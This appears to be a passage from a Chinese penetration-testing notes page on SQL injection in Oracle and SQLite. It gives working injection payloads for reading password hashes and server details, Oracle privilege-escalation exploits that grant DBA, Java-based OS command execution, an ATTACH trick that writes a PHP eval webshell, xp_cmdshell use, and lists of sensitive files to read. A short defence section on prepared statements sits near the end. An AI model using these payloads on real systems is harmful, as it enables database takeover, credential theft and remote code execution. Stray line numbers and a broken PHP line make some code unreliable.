    1
    select * from user_role_privs; 

    当前用户是否为DBA:

    1
    select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA'; 

    image-20220721233233614

    当前用户所拥有的全部权限:

    1
    select * from session_privs; 

    当前用户的系统权限:

    1
    select * from user_sys_privs; 

    当前用户的表级权限:

    1
    select * from user_tab_privs; 

    查询某个用户所拥有的系统权限:

    1
    select * from dba_sys_privs; 

    查看角色(只能查看登陆用户拥有的角色)所包含的权限:

    1
    select * from role_sys_privs; 

    查看用户的java权限(用户名必须大写):

    1
    2
    3
    4
    5
    6
    select * from user_java_policy where grantee_name='SCOTT'; 
    -- 下面这样在sqlplus中输出会友好一些
    COL TYPE_NAME FOR A30;
    COL NAME FOR A30;
    COL ACTION FOR A10;
    SELECT TYPE_NAME, NAME, ACTION FROM user_java_policy WHERE grantee_name = 'TEST4';

更多关于角色和用户的信息:https://www.cnblogs.com/yw0219/p/5855210.html

查询数据

  • 获取数据库版本

    1
    2
    3
    4
    SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
    SELECT version FROM v$instance;
    具体注入的语句:
    http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +
  • 获取操作系统版本

    1
    2
    SELECT banner FROM v$version where banner like 'TNS%';
    http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +

    image-20220525220934491

  • 获取当前用户权限的所有数据库

    1
    SELECT DISTINCT owner, table_name FROM all_tables;

    image-20220525221030498

  • 获取当前数据库

    1
    2
    3
    4
    SELECT global_name FROM global_name;
    SELECT name FROM v$database;
    SELECT instance_name FROM v$instance;
    SELECT SYS.DATABASE_NAME FROM DUAL;
  • 获取字段名和表名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    SELECT user FROM dual;获取当前数据库用户
    SELECT username FROM all_users ORDER BY username;列出所有用户
    SELECT name FROM sys.user$; — priv;列出所有用户

    列出密码哈希:
    SELECT name, password, astatus FROM sys.user$ — priv; <= 10g(astatus能够在acct被锁定的状态下给你反馈)
    SELECT name,spare4 FROM sys.user$ — priv; 11g

    获取数据库所有用户:
    SELECT username FROM all_users ORDER BY username;
    SELECT name FROM sys.user$; -- priv;

    SELECT * FROM session_privs; 获取当前用户权限

    SELECT * FROM dba_sys_privs -- priv; 获取所有用户权限

    获取用户角色
    SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
    SELECT DISTINCT grantee FROM dba_sys_privs;

    获取所有数据库用户密码
    SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g;
    SELECT name, spare4 FROM sys.user$; -- priv, >= 11g;

    列出DBA账户:
    SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;

    获取主机名和IP
    SELECT UTL_INADDR.get_host_name FROM dual;
    SELECT host_name FROM v$instance;
    SELECT UTL_INADDR.get_host_address FROM dual; 查IP
    SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称

    SELECT name FROM V$DATAFILE; 获取DB文件路径
  • 常用函数

    • Initcap 将首字母大写,其余字母全部小写。

    • Lower 将所有字母全部转为小写。

    • Upper 将所有字母全部转为大写。

    • Concat 链接多个字符串,效果等同于||

    • SELECT Concat ('a', 'b') FROM dual 结果:ab
      Select 'a' || 'b' from dual 结果:ab
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12

      * trim 清除两边的空格

      ### 经典注入

      1.查询所有数据库

      由于Oralce没有库名,只有表空间,所以Oracle没有提供数据库名称查询支持,只提供了表空间名称查询。

      ```sql
      select * from v$tablespace;--查询表空间(需要一定权限)
      select tablespace_name from dba_data_files group by tablespace_name;

image-20220125144628341

2.查询当前数据库中所有表名

1
select * from user_tables;

image-20220525221833226

3.查询指定表中的所有字段名

1
select column_name from user_tab_columns where table_name = 'table_name';

image-20220525221919685

4.查询指定表中的所有字段名和字段类型

1
select column_name, data_type from user_tab_columns where table_name = 'table_name';

image-20220525222100038

  1. 查字段

    1
    select column_name from table_name;
  2. 其他查询

1
2
3
4
5
6
7
1 当前用户权限 (select * from session_roles)
2 当前数据库版本 ( select banner from sys.v_$version where rownum=1)
3 服务器出口IP (用utl_http.request 可以实现)
4 服务器监听IP (select utl_inaddr.get_host_address from dual)
5 服务器操作系统 (select member from v$logfile where rownum=1)
6 服务器sid ( 远程连接的话需要, select instance_name fromv$instance;)
7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)

寻找注入点

注意:尽量不要使用类似and 1=1这样的语句来判断是否含有注入点。我们可以使用加减乘除的方式来哦安短是否存在注入。因为注入的本质就是你写进去的数据被成了代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#通过 <> 来判断

?id=1'+and+1<>6--+ #返回为真 页面正常
?id=1'+and+1<>1--+ #返回为假 页面异常

#通过 加减法来判断

?id=1 #返回id,为1的内容
?id=2-1 #返回为1的内容

#通过数据库报错来判断

?id=1 #返回为正常
?id=1/0 #返回异常

# 通过注释符来判断(多行注释:/**/,单行注释:--)

?id=1 #返回为正常
?id=1/*loecho*/ #也返回正常

?id=1 #返回为正常
?id=1--loecho #也返回正常

当然,上面的都是一些不带引号的注入点,如果带引号怎么办呢?

1
2
3
4
5
6
7
8
9
10
#通过<>来判断

?name=cioi'+and+1<>6--+ #返回正常
?name=cioi'+and+1<>1--+ #返回异常


#使用字符串拼接符’||’,通过判断拼接符是否执行,从而判断是否存在注入.或者也可直接使用

?name=cx'||'lover #返回正常
?name=cx'||'haha #返回异常

注意:尽量使用+代替%20

联合查询

1
2
3
4
5
6
7
8
9
10
11
Union select null,null,null   从第一个null开始加’null’,得到显示位
Union select null,null,null from dual 返回正确,存在dual表
Union Select tablespace_name from user_tablespaces //查库
Union Select table_name from user_tables where rownum = 1 and table_name<>’news’ //查表
Union Select column_name from user_tab_columns where table_name=’users’ //查列
?id=1 order by 1-- //获取字段数
and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//获取数据库版本
and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名
union+all+select+(select password from sys.user$ where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码
union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名
and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名

手工显错注入

1
2
3
4
5
6
7
8
9
10
11
12
最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限

//判断是否是oracle
?id=1 and exists(select * from dual)--
//获取库名
?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))—-
//获取数据库服务器所在ip
?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))--
?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')--
?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--
?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

盲注

基于布尔型的盲注:

1
2
3
?id=7782' and length((SELECT name FROM v$database))=4--  获取数据库名长度
?id=7782' and ascii(substr((SELECT name FROM v$database),1,1))=79--
获取数据库名第一位为O

利用字符串相关函数,对逐个字符进行比较猜解来获取数据

1
http://127.0.0.1/oracle?id=99' and (select substr(user, 1, 1) from dual)='O' -- +

或者利用decode函数+除0(关于decode函数看上面基本函数)

1
http://127.0.0.1/oracle?id=99' and 1=(select decode(substr(user, 1, 1), 'O', (1/1),0) from dual) -- +

或者利用instr函数来进行布尔盲注(从一个字符串中查找指定子串的位置,查询结果中的位置,未找到便返回0,可以通过对子串位置进行遍历和迭代,获取到数据)

1
?username=user'and 1=(instr((select user from dual),'ADMIN')) --

基于时间延迟的盲注:

1
2
?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)--
?id=7782' AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--

利用时间延迟函数配合replace和substr以及decode来进行注入

1
2
3
4
5
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('olo', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'O', 10))=1;

select decode(substr(user,1,1),'O',dbms_pipe.receive_message('olo',10),0) from dual;

select 1 from dual where 1=0 or DBMS_PIPE.RECEIVE_MESSAGE('pyy', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'P', 1))=1;

也可以利用获取大量数据的语句

1
select count(*) from all_objects

更多payload

报错注入

  • utl_inaddr.get_host_name
1
2
在11g之前不需要任何权限,在11g之后当前的数据库用户必须有网络访问权限
select utl_inaddr.get_host_name((select user from dual)) from dual;
  • ctxsys.drithsx.sn
1
2
处理文本的函数,传入参数错误的时会报错返回异常
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
  • CTXSYS.CTX_REPORT.TOKEN_TYPE
1
2
用于处理文本,也会出现参数错误返回异常
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
  • XMLType
1
2
3
XMLType是oracle系统定义的数据类型,系统预定义了内部函数去访问XML数据
select XMLType('<:'||(select user from dual)||'>') from dual;
PS:调用的时候必须以<:开头和>结尾,即 '<:'||balabala||'>' 或者 chr(60)||balabal||chr(62);如果返回的数据种有空格的话,会自动截断,导致数据不完整,这种情况下需要先转为 hex,再导出(或者有replace函数替换成其他非空字符)
  • dbms_xdb_version.checkin
1
select dbms_xdb_version.checkin((select user from dual)) from dual;
  • dbms_xdb_version.makeversioned
1
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
  • dbms_xdb_version.uncheckout
1
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
  • dbms_utility.sqlid_to_sqlhash
1
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
  • ordsys.ord_dicom.getmappingxpath
1
2
3
4
5
6
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;

或者直接使用

# 中间为查询内容
ordsys.ord_dicom.getmappingxpath(user,user,user)
  • UTL_INADDR.get_host_name
1
select UTL_INADDR.get_host_name((select user from dual)) from dual;
  • UTL_INADDR.get_host_address
1
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;

权限提升

原理:https://loong716.top/posts/Oracle_Database_Security/#4-%E6%9D%83%E9%99%90%E6%9B%B4%E6%94%B9

SET_OUTPUT_TO_JAVA

测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit

权限要求:

  • CREATE SESSION

利用DBMS_JAVA.SET_OUTPUT_TO_JAVA()函数的特性来提升只拥有CREATE SESSION的用户的权限

1
2
3
4
5
6
7
8
-- 注意替换GRANT语句中的用户名
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO SIMPLEUSER1''; END;', 'BEGIN NULL; END;') FROM DUAL;

-- 这句执行会报错,但不影响结果
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());

-- 这句其实要不要都行,不执行的话直接grant赋权也行
set role dba;

1609598931742.png

可以看到普通用户已经成为DBA,并拥有DBA的权限

1609599257329.png

GET_DOMAIN_INDEX_TABLES

影响版本:Oracle Database <= 10g R2 (未打补丁的情况下)

测试环境: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit

权限要求:

  • CREATE SESSION

这个利用的是PL/SQL Injection来提升权限

1
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to test2'''';END;'';END;--','SYS',0,'1',0) from dual;

1609605882639.png

LT.FINDRICSET

测试环境: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit

权限要求:

  • CREATE SESSION
  • CREATE PROCEDURE
1
2
3
4
5
6
7
8
9
10
11
12
13
-- 注意修改其中的用户名
create or replace function get_dba return varchar2 authid current_user is PRAGMA autonomous_transaction;
BEGIN
execute immediate 'grant dba to test2';
commit;
return 'z';
END;
/
begin
sys.lt.findricset('A.A''||test2.get_dba) --','BBBB');
commit;
end;
/

1609650560642.png

注入环境中可使用dbms_xmlquery.newcontext来执行:

1
2
3
4
5
6
7
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
begin execute immediate ''create or replace function get_dba return varchar2 authid current_user is PRAGMA
autonomous_transaction;BEGIN execute immediate ''''grant dba to hellove'''';commit;return ''''z'''';END; ''; commit; end;')
from dual;

select dbms_xmlquery.newcontext('declare PRAGMA
AUTONOMOUS_TRANSACTION;begin sys.lt.findricset(''A.A''''||hellove.get_dba)--'',''BBBB'');commit;end;') from dual;

SDO_DROP_USER_BEFORE

测试环境: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit

权限要求:

  • CREATE SESSION

这个是一个触发器(trigger)漏洞

触发器在数据库里以独立的对象存储,它与存储过程和函数不同的是,存储过程与函数需要用户显示调用才执行,而触发器是由一个事件来启动运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-- 一定要有这一句,不然后面的Cursor value无法输出
SET SERVEROUTPUT ON;

-- 注意修改grant的用户,执行后记下打印的Cursor value
DECLARE
MY_CURSOR NUMBER;
RESULT NUMBER;
BEGIN
MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); execute immediate ''create or replace trigger system.WHOPPEE before insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''''''GRANT DBA TO TEST4''''''''; END; ''''; end WHOPPEE;''; commit; end;',0);
DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
END;
/

-- DBMS_SQL.EXECUTE()中是前面得到的Cursor value
DROP USER "'||CHR(DBMS_SQL.EXECUTE(5))||'";

-- 插入数据来触发条件
INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!');

1609652444255.png

在drop user语句中填入对应的Cursor value,并插入数据来触发条件,成功获取DBA权限:

1609652463941.png

命令执行

1. DBMS_XMLQUERY

测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit

权限要求:

  • CREATE SESSION
  • CREATE PROCEDURE (某些版本是否需要CREATE PROCEDURE存疑)

创建java source:

1
1 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual; 

1609349655236.png

创建函数:

1
1 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual; 

1609349683516.png

可以通过查询OBJECT_ID来判断函数是否创建成功:

1
1 select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'; 

1609349696763.png

赋予需要的三个java权限:

当前用户为DBA时,通常只需要为该用户赋予第一个执行权限即可,实际情况中具体需要哪一个可以直接执行函数来看报错提示

一般报错如下:

1609382785318.png

1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / 

执行命令:

1
1 select LinxRUNCMD('/sbin/ifconfig') from dual; 

1609349737895.png

2. 创建存储进程执行命令

测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit

权限要求:

  • CREATE SESSION
  • CREATE PROCEDURE

有时执行命令也会碰到这种报错,此时需要为用户赋予java的对应权限,最好执行前先执行一次dbms_xmlquery中赋予那三个权限的命令

如果你已经创建完javae函数在执行命令时发现了这个报错,那么要再执行一次2.sql,然后再执行javae函数

1609388627245.png

将下面文件分别保存为

1.sql:

1
1 2 3 4 5 6 7 8 9 10 11 12 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT  'GRANT',USER(),'SYS','java.io.FilePermission', '<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / 

2.sql:

1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; public class oraexec {    public static String execCommand(String command) throws IOException, InterruptedException {        Runtime rt = Runtime.getRuntime();        int bufSize = 4096;        byte buffer[] = new byte[bufSize];        String rc = "";        int len;        try{            Process p = rt.exec(command);            BufferedInputStream bis =                    new BufferedInputStream(p.getInputStream(), bufSize);            while ((len = bis.read(buffer, 0, bufSize)) != -1){                rc += new String(buffer).split("\0")[0];;            }            bis.close();            p.waitFor();            return rc;        } catch (Exception e) {            rc = e.getMessage();        }        finally        {            return rc;        }    } } / create or replace function javae(p_command in varchar2) return varchar2 as language java name 'oraexec.execCommand(java.lang.String) return String'; / 

放在sqlplus同级目录下,然后分别执行:

1
2
3
4
5
6
7
8
9
10
SQL> @1.sql

PL/SQL procedure successfully completed.

SQL> @2.sql

Java created.


Function created.

1609388411089.png

然后执行命令即可:

1
1 select javae('/sbin/ifconfig') from dual; 

1609388495831.png

3. DBMS_JAVA.RUNJAVA

测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit

权限要求:

  • CREATE SESSION

先给当前用户赋予java.io.FilePermission

1
1 2 3 4 5 6 7 8 9 10 11 12 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT  'GRANT',USER(),'SYS','java.io.FilePermission', '<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / 

然后执行命令:

1
1 2 3 4 5 -- 11g SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper touch /tmp/success') FROM DUAL; -- 10g/11g, 注意10g中还需要readFileDescriptor和writeFileDescriptor SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/sbin/ifconfig>/tmp/1.txt') FROM DUAL; 

11g:

1609597313673.png

成功创建文件:

1609597283696.png

10g:

1609601837066.png

成功将命令写入文件

sqlite

参考链接:https://xz.aliyun.com/t/8627#toc-0

sqlite的文件以.db结尾,注释符为--+

安装sqlite

1
apt-get install sqlite3

运行sqlite

1
2
sqlite3
# ctrl+D退出sqlite

连接界面如下

image-20220827203733321

常用操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 在当前目录创建数据库
sqlite3 test.db
# 进入sqlite3交互界面
# 创建数据库
.database
# 进入数据库
.open test.db
# 导出数据库
sqlite3 test.db .dump > test.sql
# 导入数据库
sqlite3 test.db < test.sql
# 创建表
sqlite> create table test(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL
...> );
# 查看表
.tables
# 查看完整表结构
sqlite> .schema test
CREATE TABLE test(
id INT PRIMARY KEY NOT NULL,
name char(50) NOT NULL
);
# 插入数据
insert into test (id,name) values (1,'alice');
# 查询语句
select name from test;

sqlite_master

  • sqlite_master保存数据库表的关键信息

sqlite_master的表结构

1
2
3
4
5
6
7
8
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);

从sqlite_master查表名

1
2
3
4
sqlite> select tbl_name from sqlite_master where type='table';
tbl_name
----------
test

获取表名和列名

1
2
3
4
5
6
7
sqlite> select sql from sqlite_master where type='table';
sql
----------------------------------------------------------------------------
CREATE TABLE test(
id INT PRIMARY KEY NOT NULL,
name char(50) NOT NULL
)

注入步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 确定注入
?id=1
?id=1'
...
# 确定列数
?id=1' order by 1--+
?id=1' order by 2--+
...
# 查版本等信息
?id=1' union select 1,sqlite_version()
# 查表名和字段
?id=1' union select 1,2,sql from sqlite_master;
or
?id=1' union select 1,2,sql from sqlite_master where type='table';
or
?id=1' union select 1,2,sql from sqlite_master where type='table' and name='user_data';
?id=1' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
# 获取格式化列名
0' union select 1,2,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') from sqlite_master where type='table' and name='user_data' --
# 查数据
?id=1' union select id,name,passwd from user_data;
?id=1' union select 1,2,group_concat(passwd) from user_data;

布尔注入

1
?id=1 and substr(sqlite_version(),1,1)='3';

image-20220827210216827

时间盲注

sqlite的时间函数是randomblob(N),作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。

而且sqlite没有if函数,可以使用case来构造条件

1
?id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);

写shell

写shell依靠依赖sqlite的创建数据库功能

思路:

1
通过 attach 在目标目录新建一个数据库文件 => 在新数据库创建表。=> 在表中插入payload

通过attach附加数据库

1
';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --

image-20220827210126764

sql注入防御

基本思路:输入(解决数字型注入)——-转义处理(解决字符型注入)——-输出(解决数据库报错)

  1. 检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数,从简单的变量函数和字符类
    型函数(比如 is_numeric()ctype_digit())到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。如果程序等待
    输入一个数字,可以考虑使用 is_numeric() 来检查,或者直接使用 settype() 来转换它的类型,也可以用 sprintf()
    它格式化为数字。

  2. PHP内置转义函数

    1
    2
    3
    4
    Addslashes() http://php.net/manual/zh/function.addslashes.php
    magic_quote_gpc http://php.net/manual/zh/info.configuration.php#ini.magic-quotes-gpc
    mysql_real_escape_string() http://php.net/manual/zh/function.mysql-real-escape-string.php
    mysql_escape_string() http://php.net/manual/zh/function.mysql-escape-string.php
  3. 数据库报错信息泄露防范:
    php.ini文件display_errors = Off
    数据库查询函数前面加一个@字符

  4. 防止二次注入

  • 方案一:指定php连接mysql的字符集
    1
    2
    mysql_set_charset('gbk',$conn);
    _GET['id']);
  • 方案二:将character_set_client设置为binary(二进制)
    1
    2
    mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary",
    $conn);

最有效可预防SQL注入攻击的防御方式:预处理技术进行数据库查询

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$mysqli = new MySQLi("localhost","root","root","test");
if(!$mysqli){
die($mysqli->error);
}
$sql = "select id,username,password from users where id=?";////创建一个预定义的对象 ?占位
$mysqli_stmt = $mysqli->prepare($sql);
$id=$_REQUEST['id'];
$mysqli_stmt->bind_param("i",$id);////绑定参数
$mysqli_stmt->bind_result($id,$username,$password);////绑定结果集
$mysqli_stmt->execute();//执行
while($mysqli_stmt->fetch()){ //取出绑定的结果集
echo $id." ".$username ." ". $password;
}
echo "<br/>";
echo $sql;
$mysqli_stmt->free_result(); ////关闭结果集
$mysqli_stmt->close();
$mysqli->close();
?>
  • 预编译的绕过

    假如目标使用了order by语句,可以通过orderExpression来绕过预编译

    axuxfcnn63

    这意味这orderExpression可以是一个selectExpression也可以是一个函数。 例如使用一个case语句。 select * from users order by (case when (true) then lastname else firstname) 因此可以用任何布尔类型来替代when(…)的一部分,从而判断语句是否起作用。

    例子:

    1
    select * from category order by(case when (true) then NAME end)

站库分离的系统渗透方法

站库分离示意图:

站库分离常规渗透思路总结

由Web服务器渗透数据库服务器

获得web服务器权限之后可以对数据库配置文件、数据库内容分析、查找备份等对数据库地址进行定位然后渗透

1
2
netstat -ano|findstr "1433"# 查mssql端口所连接的服务器
#同理还有mysql的3306,oracle的1521、redis的6379、
数据库 数据库端口 数据库类型
Oracle 1521 关系型
MySQL 3306 关系型
SQLServer 1433 关系型
MongoDB 27017 非关系型
Redis 6379 非关系型
memcached 11211 非关系型
postgreSQL 5432 非关系型

由数据库服务器对Web服务器进行渗透

  1. 查询连接的信息
1
2
select @@hostname; //服务端主机名称
select * from information_schema.PROCESSLIST //客户端主机名称和端口
  1. 读取敏感文件

    hosts文件中解析的一些内网业务的IP地址和域名,IIS/Apache/Nginx/Tomcat/Jboss/Weblogic/Websphere的相关配置文件以及网卡信息等。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    select load_file('C:/Windows/System32/drivers/etc/hosts');

    /etc/hosts
    /etc/apache2/apache2.conf
    /etc/httpd/conf/httpd.conf
    /etc/udev/rules.d/70-persistent-net.rules //获取网卡名称
    /etc/network/interfaces //DHCP或静态IP
    /var/lib/dhclient/dhclient--网卡.lease //DHCP
    /etc/sysconfig/network-scripts/ifcfg-网卡 //静态IP
    C:/Windows/System32/drivers/etc/hosts
    C:/Windows/system32/inetsrv/MetaBase.xml
    C:/Windows/System32/inetsrv/config/applicationHost.config
    C:/phpStudy/Apache/conf/httpd.conf
    C:/phpStudy/Apache/conf/vhosts.conf
    C:/phpStudy/PHPTutorial/Apache/conf/httpd.conf
    C:/phpStudy/PHPTutorial/Apache/conf/vhosts.conf
    C:/phpStudy/PHPTutorial/nginx/conf/nginx.conf
    C:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf
    [...SNIP...]
  2. 判断MSSQL是否是站库分离

    比较客户端主机名称和服务端主机名称

    1
    2
    3
    select host_name();                       //客户端主机名称
    select @@servername; //服务端主机名称
    select serverproperty('MachineName'); //服务端主机名称

    也可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST,可以定位到当前已连接到sqlinject数据库的用户名和主机名等信息。

有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址。

1
2
3
select name from master.sys.sysdatabases;
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');
exec master..xp_cmdshell 'cmd /c ping WIN-111111111';

还可以直接通过以下MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器。

1
and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end)))
